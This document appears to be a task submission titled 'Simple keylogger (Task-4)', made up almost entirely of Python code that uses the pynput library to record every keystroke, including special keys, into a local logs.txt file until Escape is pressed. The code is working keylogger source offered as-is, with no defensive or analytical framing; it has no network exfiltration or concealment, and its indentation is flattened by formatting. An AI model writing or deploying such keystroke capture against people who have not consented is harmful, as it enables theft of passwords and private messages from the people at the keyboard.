**4.Simple keylogger(Task-4)**

import pynput

from pynput.keyboard import Key, Listener

# Define the path to the log file where keystrokes will be saved

logs = 'logs.txt'

# Define key mappings

enter = '<enter>'

backspace = '<backspace>'

caps\_lock = '<caps\_lock>'

tab = '<tab>'

# Function to handle key presses

def on\_press(key):

try:

with open(logs, 'a') as f\_in:

# Log the alphanumeric keys or special characters

if hasattr(key, 'char') and key.char is not None:

f\_in.write(key.char)

# Handle special keys

else:

if key == Key.space:

f\_in.write(' ')

elif key == Key.enter:

f\_in.write(enter)

elif key == Key.backspace:

f\_in.write(backspace)

elif key == Key.caps\_lock:

f\_in.write(caps\_lock)

elif key == Key.tab:

f\_in.write(tab)

elif key == Key.esc:

# Exit the listener if Escape key is pressed

return False

except Exception as e:

print(f"Error while writing to file: {e}")

with Listener(on\_press=on\_press) as listener:

listener.join()